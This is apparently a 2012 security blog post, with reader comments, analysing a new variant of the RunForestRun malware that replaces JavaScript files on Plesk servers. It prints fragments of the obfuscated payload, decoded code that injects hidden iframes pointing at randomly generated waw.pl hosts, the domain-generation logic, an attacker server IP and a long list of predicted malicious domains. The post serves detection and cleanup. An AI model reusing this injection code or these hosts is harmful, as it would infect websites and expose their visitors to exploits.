

A few days ago Jindrich Kubec (Avast) pinged me that the RunForestRun malware changed the domain generating algorithm (DGA) and now uses waw.pl subdomains (instead of .ru) in malicious URLs.

I decided to take a look at the new scripts and found quite a few very interesting changes. This post will be about those changes.
Just a quick recap of the RunForestRun attack: It began in mid-June and infected many servers with Plesk Panel since then. Hackers used Plesk’s File Manager to inject malicious code (mainly) at the bottom of .js files. That malicious code used a Black Hole obfuscator and was always surrounded by the /*km0ae9gr6m*/…/*qhk6sa6g1c*/ pair of comments, which made it very easy to clean up whole servers using just a single regexp.
Another interesting feature of the original RunForestRun attack was the domain name generating algorithm built into its malicious scripts. It generated two new unreadable .ru domains every day and used them for iframe injection. Although the algorithm called itself “pseudo-random“, it actually lacked any randomness at all, thus all the domain names it could ever generate (today, tomorrow, next month, in a hundred years, etc.) were easily predicted.
However everything changes and now we can see a significantly improved version of the RunForestRun attack – they definitely learn from they own mistakes.
As previously, the attack targets .js files on Plesk-pоwered servers. However, instead of appending legitimate files with an easily identifiable line of the malicious code, this time they replace the whole content of the legitimate .js files.
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String...REMOVED...QEE|Sktl|8QaUx|MU|EbD|Rb|kpVHmU|0xUQ0|NAWHo|typeof|_typeof_|undefined|else|sgVxTrfNlm'.split('|'),0,{}))
As you can see, the comment signature is gone and the legitimate code is no longer there. Moreover, the code is different in every infected .js file even on the same site. This means that server admins:
The code (full example) is packed with a popular (both among legitimate JS programmers and malware writers) Dean Edwards’ Javascript Packer. It’s very easy to decode but it’s only the first layer. The second layer is more interesting (see the full code here):
It contains two long encrypted strings. The code decrypts and executes them. Apparently the first string is the encrypted legitimate content of the infected .js file (that’s why even with replaced content of .js files hacked websites still work) and the second string is the encrypted copy of the malicious code.
To make things more interesting, both strings are encrypted using the domain name of the hacked site as an encryption key. This means that if you only have a copy of the malicious code but don’t know the domain name of the site it was found on, then you won’t be able to (easily) decode it.
this.LdgeJzxGT = function() {
return this["TpPoqfTGS"](this.getTopHost(window["location"]["host"]), this.PPZyLUke(this.NfScKqzGUKfkt))
};
That also answers why every infected .js file has different malicious code in it. The final code depends on the combination of two factors: site domain name and content of the .js file — apparently this combination is unique (unless someone has two identical .js files on the same site — why?)
By the way, the encryption code is still buggy as I saw sites where the legitimate code won’t decrypt.
Now let’s take a look at the decoded malicious part of the script (full version here). It’s basically the same code that generates domain names and injects iframes as we saw in the original RunForestRun attack. However there are a few significant changes:
1. At the very top of the code we can see the following two comment lines:
//Congratulations! you have successfully extracted the gootkit payload
//this means i must work hardly :(
The malware author left a message to us. Apparently he has sense of humor and desire to improve the script obfuscation techniques. Well, this new version is much more interesting to decode. I liked the “domain name as an encryption key” trick, I didn’t see it before. Nonetheless for tools that use JavaScript engines and can decode all script directly on infected sites the same way that web browsers do, this new layer of obfuscation is hardly noticeable.
2. Instead of .ru domains, this new algorithm generates subdomains on waw.pl. This version also uses the botnet_api sid parameter.
var domainName = generatePseudoRandomString(unix, 16, 'waw.pl');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet_api");
3. And the most important change is the DGA now generates really random domain names.
for (var i = 0; i < subdomainlen; i++) {
str += letters[Math.floor(Math.random() * (letters.length - 1))];
}
str += '.'
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
The generated URLs look like this:
hxxp://vvsadnfpurghr .wnozimymvmaxkszo .waw .pl/runforestrun?sid=botnet_api
hxxp://dpolzxzkrrfvk .erzeyvxfqerffrql .waw .pl/runforestrun?sid=botnet_api.
They are really random and change on every script execution.
So how the attackers know what domains to registers so that the injected iframes really load some malicious payload from their servers? The answer is the generated domain names are not completely random. As you might notice, they actually consist of two parts: the third-level domain name and the forth-level domain name (e.g. nzseokfggewrwplmuph.hvguqfmfqgerbdro .waw .pl). The forth-level domain name (in this example nzseokfggewrwplmuph) is really random and can’t be predicted. But the third-level domain name (in this example hvguqfmfqgerbdro) is not random at all and thus can be as easily predicted the same way as domain names in the previous versions of RunForestRun DGA.
This “predictable third-level domain name plus any random fourth-level domain name” scheme works because of the DNS settings that map all forth-level domains to the same server as the third-level domain name. By the way, right now this attack uses the 78 .46 .11 .101 server (Hetzner Online Ag, Germany).
This scheme allows us to predict the third-level domains only and ignore any forth-level domains. For this algorithm, the significant domain names change 5 times a day. At this point I can see that domain names for the period of July 21, 2012 through August 5, 2012 are already registered via the Domain Silver Inc. (registered in the Seychelles, with the .pl support email) And by the way, waw.pl subdomains are not free to register — this adds some barrier to preregistering the predicted domain names.
Here is a list of the domains that are already registered. A more long list of the predicted domains can be found here (I know, they’ll eventually change the algo.)
*.qxpmhnrvrkqewurq.waw.pl // Sat Jul 21 2012 00:00:00
*.keefqnfsgqxrzlru.waw.pl // Sat Jul 21 2012 01:00:00
*.ekkugeunekaxqolz.waw.pl // Sat Jul 21 2012 07:00:00
*.svndeqsqughepaye.waw.pl // Sat Jul 21 2012 13:00:00
*.aksfkuuozvfqprms.waw.pl // Sat Jul 21 2012 19:00:00
*.zpqkervzziqffvas.waw.pl // Sun Jul 22 2012 00:00:00
*.uiuxumxroflzpfxr.waw.pl // Sun Jul 22 2012 01:00:00
*.godzexppowqkaoqg.waw.pl // Sun Jul 22 2012 07:00:00
*.hhrkeezqezsfpelh.waw.pl // Sun Jul 22 2012 13:00:00
*.oqvlfqreqpqofbkk.waw.pl // Sun Jul 22 2012 19:00:00
*.alipqiuzrguwesky.waw.pl // Mon Jul 23 2012 00:00:00
*.rfvnhrxyqrkfkafm.waw.pl // Mon Jul 23 2012 01:00:00
*.fvqrumayxausssro.waw.pl // Mon Jul 23 2012 07:00:00
*.zppiehqhzpovbkyq.waw.pl // Mon Jul 23 2012 13:00:00
*.xwusrevemsezfoqu.waw.pl // Mon Jul 23 2012 19:00:00
*.pzdhexgqhgrpwifw.waw.pl // Tue Jul 24 2012 00:00:00
*.erzeyvxfqerffrql.waw.pl // Tue Jul 24 2012 01:00:00
*.mzqqewpgyfeprbko.waw.pl // Tue Jul 24 2012 07:00:00
*.vpbuillzsunrkgmf.waw.pl // Tue Jul 24 2012 13:00:00
*.fmfqplgsqwrlhynp.waw.pl // Tue Jul 24 2012 19:00:00
*.pqzsevnefqzofzzu.waw.pl // Wed Jul 25 2012 00:00:00
*.ozpxhkavazfqfrhr.waw.pl // Wed Jul 25 2012 01:00:00
*.wnozimymvmaxkszo.waw.pl // Wed Jul 25 2012 07:00:00
*.ylivlvzmqsqksexk.waw.pl // Wed Jul 25 2012 13:00:00
*.sqqkemzgshwnkkrk.waw.pl // Wed Jul 25 2012 19:00:00
*.ahqqeqepkuzqqogq.waw.pl // Thu Jul 26 2012 00:00:00
*.oeaivqoeffszmazv.waw.pl // Thu Jul 26 2012 01:00:00
*.rnxqzzvvfvefzuef.waw.pl // Thu Jul 26 2012 07:00:00
*.hvguqfmfqgerbdro.waw.pl // Thu Jul 26 2012 13:00:00
*.efzsxqendefszqwv.waw.pl // Thu Jul 26 2012 19:00:00
*.ospferibuoqexlrq.waw.pl // Fri Jul 27 2012 00:00:00
*.uoqyiwgfhwalhsrf.waw.pl // Fri Jul 27 2012 01:00:00
*.eggqeufupvpffbku.waw.pl // Fri Jul 27 2012 07:00:00
*.gpzzurpvvqevszuv.waw.pl // Fri Jul 27 2012 13:00:00
*.nirqnuaqaneqszrf.waw.pl // Fri Jul 27 2012 19:00:00
*.xkmrvsfqohzoqoux.waw.pl // Sat Jul 28 2012 00:00:00
*.vbgkesevmqqaypeo.waw.pl // Sat Jul 28 2012 01:00:00
*.fekknfieornfndye.waw.pl // Sat Jul 28 2012 07:00:00
*.fyllfpuqesfponzo.waw.pl // Sat Jul 28 2012 13:00:00
*.suarglxquxbrvxor.waw.pl // Sat Jul 28 2012 19:00:00
*.rsmwnxvfaqxxqehg.waw.pl // Sun Jul 29 2012 00:00:00
*.lusseoiqfrxlzuoy.waw.pl // Sun Jul 29 2012 01:00:00
*.xhofnxueyreenhpk.waw.pl // Sun Jul 29 2012 07:00:00
*.qqphrhvzgrrylhro.waw.pl // Sun Jul 29 2012 13:00:00
*.drqlgnkfobrsgmmz.waw.pl // Sun Jul 29 2012 19:00:00
*.svkpeszmgaofdqqu.waw.pl // Mon Jul 30 2012 00:00:00
*.qvlueezqezvskfnq.waw.pl // Mon Jul 30 2012 01:00:00
*.uyveaqhufkeiqmsn.waw.pl // Mon Jul 30 2012 07:00:00
*.mazszkkqfhfqegva.waw.pl // Mon Jul 30 2012 13:00:00
*.qrkrqzsvzulbxhka.waw.pl // Mon Jul 30 2012 19:00:00
*.eorazzorfyrzbuge.waw.pl // Tue Jul 31 2012 00:00:00
*.qrakxlhymofsynvy.waw.pl // Tue Jul 31 2012 01:00:00
*.bqeqrlhkuqngrrps.waw.pl // Tue Jul 31 2012 07:00:00
*.qrmfekadorhpflqv.waw.pl // Tue Jul 31 2012 13:00:00
*.kqyeqozzfmkymirf.waw.pl // Tue Jul 31 2012 19:00:00
*.gherznlxvquzzpeu.waw.pl // Wed Aug 01 2012 00:00:00
*.hhkvnxqfmoeapkbp.waw.pl // Wed Aug 01 2012 01:00:00
*.oqnuvrfqqakovrfl.waw.pl // Wed Aug 01 2012 07:00:00
*.ueskvqmzogzfrsqe.waw.pl // Wed Aug 01 2012 13:00:00
*.enoxhrnvodxmhxyy.waw.pl // Wed Aug 01 2012 19:00:00
*.fprpsvfmzyrffogi.waw.pl // Thu Aug 02 2012 00:00:00
*.zwkeqrlypenxpsqe.waw.pl // Thu Aug 02 2012 01:00:00
*.xsksvonlfapekhbn.waw.pl // Thu Aug 02 2012 07:00:00
*.vzyhrrsrhukewmek.waw.pl // Thu Aug 02 2012 13:00:00
*.fhxlpzqkhqrsrkir.waw.pl // Thu Aug 02 2012 19:00:00
*.mpqvrgffxxqhrzod.waw.pl // Fri Aug 03 2012 00:00:00
*.vqquhooovmygrevg.waw.pl // Fri Aug 03 2012 01:00:00
*.rrpfohgpheelfzwh.waw.pl // Fri Aug 03 2012 07:00:00
*.lqurmseafhehsvnx.waw.pl // Fri Aug 03 2012 13:00:00
*.xeeenpgoglhfrqks.waw.pl // Fri Aug 03 2012 19:00:00
*.wlheaaxefhoqqmpk.waw.pl // Sat Aug 04 2012 00:00:00
*.dqxloavroqrqlrny.waw.pl // Sat Aug 04 2012 01:00:00
*.ssvgmyklgkfaqnfr.waw.pl // Sat Aug 04 2012 07:00:00
*.qorauruzaalvsvvr.waw.pl // Sat Aug 04 2012 13:00:00
*.uedhuenyfxgrfbue.waw.pl // Sat Aug 04 2012 19:00:00
*.mvrsfxykiekoqysm.waw.pl // Sun Aug 05 2012 00:00:00
*.hfoeozvdlvzkkqip.waw.pl // Sun Aug 05 2012 01:00:00
This new version of the RunForestRun attack:
Unlike most of the rest massive website infections where hackers use more or less the same tricks for quite a long time (exploitation kits unify a lot of stuff), the RunForestRun guys are trying to invent something new. And although their solutions are not always efficient, I can see how they learn on their own mistakes and improve their code with every iteration. I wish they worked on something more constructive though.
##
Your comments are much appreciated!
Similar posts:

Occasional posts from the developer of
Unmask Parasites about things that hackers already know and site owners should know (if they don't want to be victims).
Exploit reviews, security tips, and all that jazz.








We're here to help you get back up and running with minimal downtime!
Call us now at 1-800-639-6442
www.HackRepair.com


this damn virus on my website. I can not find and codes. I wonder could you help on where can I find?this damn virus on my website. I can not find and codes. I wonder could you help on where can I find?
So how can you tell your site is infected by this malware if you don’t see it?
Yes it affects only .js files
they try to install multiple exploits (pdf etc) via craftmaga .info
and use sites like hxxp://mouseinputnolongerworks .com (all registered july 2 2012)
Hi Denis,
So far, I’ve seen it only in .js files.
You can see an example on my blog:
http://blog.sparktrust.com/runforestrun-malware-variation/
Jerome
I’ve been tracking this (SutraTDS) from a network forensics perspective for almost a month. What I’m seeing is that it only infects .js files…and it infects all of them. The last site I was checking out was throwing the bundled malicious JS files for everything on the server. I copied the text from the packets for 3 different samples, and they all generate the same deobfuscated code. I ran in to one site last night where I didn’t notice that it was a Plesk site.
I’m curious as to why they haven’t moved the exploit site IP. It’s blocked in our network. I’m waiting for them to change it. The latest URL is hxxp://king-profit[dot]ru/in.cgi?7. DNS A record points to 178.168.7.68. If the pattern changes, I’ll post back. This is supposed to be BHEK related, but I haven’t found a machine in our network that has been infected yet.
My theory is these guys are somewhat new to the “business” and try to find their own way.
I think the JS they are using is pretty creative, but once you see the pattern, it is easy to spot. From a web server perspective, I’m sure it can be annoying. It appears that once the valid website is compromised, it is being cleaned rather quickly. From an intrusion detection perspective, it’s easy to track…it all depends on what IPs they are using.
http://quttera.com/detailed_report/plugin.shoppingfinder.jp
One more for runforest run…